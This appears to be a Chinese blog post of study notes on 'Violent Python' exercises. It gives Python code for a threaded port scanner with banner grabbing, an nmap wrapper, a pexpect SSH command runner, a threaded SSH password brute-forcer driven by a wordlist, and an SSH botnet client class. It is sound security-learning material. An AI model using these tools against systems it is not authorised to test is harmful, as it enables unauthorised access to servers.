编程语言
首页 > 编程语言> > 《Python绝技》编程实战二

《Python绝技》编程实战二

作者:互联网

scanPort

开源代码

0x03 scanPort

portScanner

main

parser = optparse.OptionParser('usage:%prog -H <targer Host> -P <port>')
parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
parser.add_option('-P', dest='tgtPorts', type='string', help='specify target ports')
(options, args) = parser.parse_args()
if (options.tgtHost == None) or (options.tgtPorts == None):
    print(parser.usage)
    exit(0)
tgtHost = options.tgtHost
tgtPorts = options.tgtPorts.split(',')
portScan(tgtHost, tgtPorts)

portScan

try:
    tgtIP = gethostbyname(tgtHost)
except:
    print('[-] Cannot resolve \'%s\' : Unknown host' %tgtHost)
    return
try:
    tgtName = gethostbyaddr(tgtIP)
    print('\n[+] Scan results for : ' + tgtName[0])
except:
    print('\n[+] Scan results for : ' + tgtIP)
setdefaulttimeout(1)
for tgtPort in tgtPorts:
    thrd = Thread(target=connScan, args=(tgtHost, int(tgtPort)))
    thrd.start()

connScan

try:
    connsock = socket(AF_INET, SOCK_STREAM)
    connsock.connect((tgtHost, tgtPort))
    connsock.send('Port Opening Test\r\n'.encode())
    res = connsock.recv(1024)
    screenLock.acquire()
    print('[+] %d/tcp opened'%tgtPort)
    showBanner(res)
except:
    screenLock.acquire()
    print('[-] %d/tcp closed'%tgtPort)
finally:
    screenLock.release()
    connsock.close()

showBanner

encoding = chardet.detect(res)['encoding']
if encoding:
    print('[+] '+str(res, encoding=encoding))
else:
    print('[+] '+str(res, encoding='utf-8'))
return

nmapScanner

nmapScan

scanner = nmap.PortScanner()
scanner.scan(tgtHost, tgtPort)
state = scanner[tgtHost]['tcp'][int(tgtPort)]['state']
print('[*] '+tgtHost+' tcp/'+tgtPort+' '+state)

sshCrack

有点鸡肋,因为没有密码也过不了,没有攻击性。

开源代码

0x04 sshCrack

pexpect

main

if len(sys.argv) == 5:
    host    =   sys.argv[1]
    user    =   sys.argv[2]
    passwd  =   sys.argv[3]
    command =   sys.argv[4]
    shell = connect(host, user, passwd)
    exec_command(shell, command)
else:
    print('Usage:%prog <target host> <user> <password> <command>')

connect

conn = 'ssh '+user+'@'+host
result = pexpect.spawn(conn)
ssh_newkey = 'Are you sure you want to  continue connecting'
ssh_passwd = '[P|p]assword:'
ret = result.expect([ssh_passwd, ssh_newkey, pexpect.TIMEOUT])

if ret == 1:
    result.sendline('yes')
    ret = result.expect([ssh_passwd, pexpect.TIMEOUT, ssh_newkey])
if ret == 2:
    print('[-] Error Connecting')
    return

result.sendline(passwd)
print('send passwd')
result.expect(PROMPT)

exec_command

shell.sendline(cmd)
shell.expect(PROMPT)
print(shell.before)

pxssh

开源代码

main

parser = optparse.OptionParser('usage %prog '+\
    '-H <target host> -u <user> -F <password list>'
                            )
parser.add_option('-H', dest='tgtHost', type='string',\
    help='specify target host')
parser.add_option('-F', dest='passwdFile', type='string',\
    help='specify password file')
parser.add_option('-u', dest='user', type='string',\
    help='specify the user')

(options, args) = parser.parse_args()
host = options.tgtHost
passwdFile = options.passwdFile
user = options.user

if host == None or passwdFile == None or user == None:
    print(parser.usage)
    exit(0)
    
fn = open(passwdFile, 'r')
for line in fn.readlines():
    if Found:
        print ("[*] Exiting: Password Found")
        exit(0)
    if Fails > 5:
        print ("[!] Exiting: Too Many Socket Timeouts")
        exit(0)
    connection_lock.acquire()
    password = line.strip('\r').strip('\n')
    print ("[-] Testing: "+str(password))
    t = Thread(target=connect, args=(host, user, password, True))
    t.start()

connect

global Found
global Fails

try:
    s = pxssh.pxssh()
    s.login(host, user, password)
    print ('[+] Password Found: ' + password)
    Found = True
except Exception as e:
    if 'read_nonblocking' in str(e):
        Fails += 1
        time.sleep(5)
        connect(host, user, password, False)
    elif 'synchronize with original prompt' in str(e):
        time.sleep(1)
        connect(host, user, password, False)
finally:
    if release:
        connection_lock.release()

sshNet

Client

class Client:

    def __init__(self, host, user, password):
        self.host = host
        self.user = user
        self.password = password
        self.session = self.connect()

    def connect(self):
        try:
            s = pxssh.pxssh()
            s.login(self.host, self.user, self.password)
            return s
        except Exception as e:
            print ('[-] Error Connecting')
            print (e)

    def send_command(self, cmd):
        self.session.sendline(cmd)
        self.session.prompt()
        return self.session.before

参考

gethostbyaddr

gethostbyname

bytes类型转str

Pexpect 模块使用说明

标签:tgtHost,Python,self,编程,host,绝技,print,password,user
来源: https://www.cnblogs.com/cheuhxg/p/15043098.html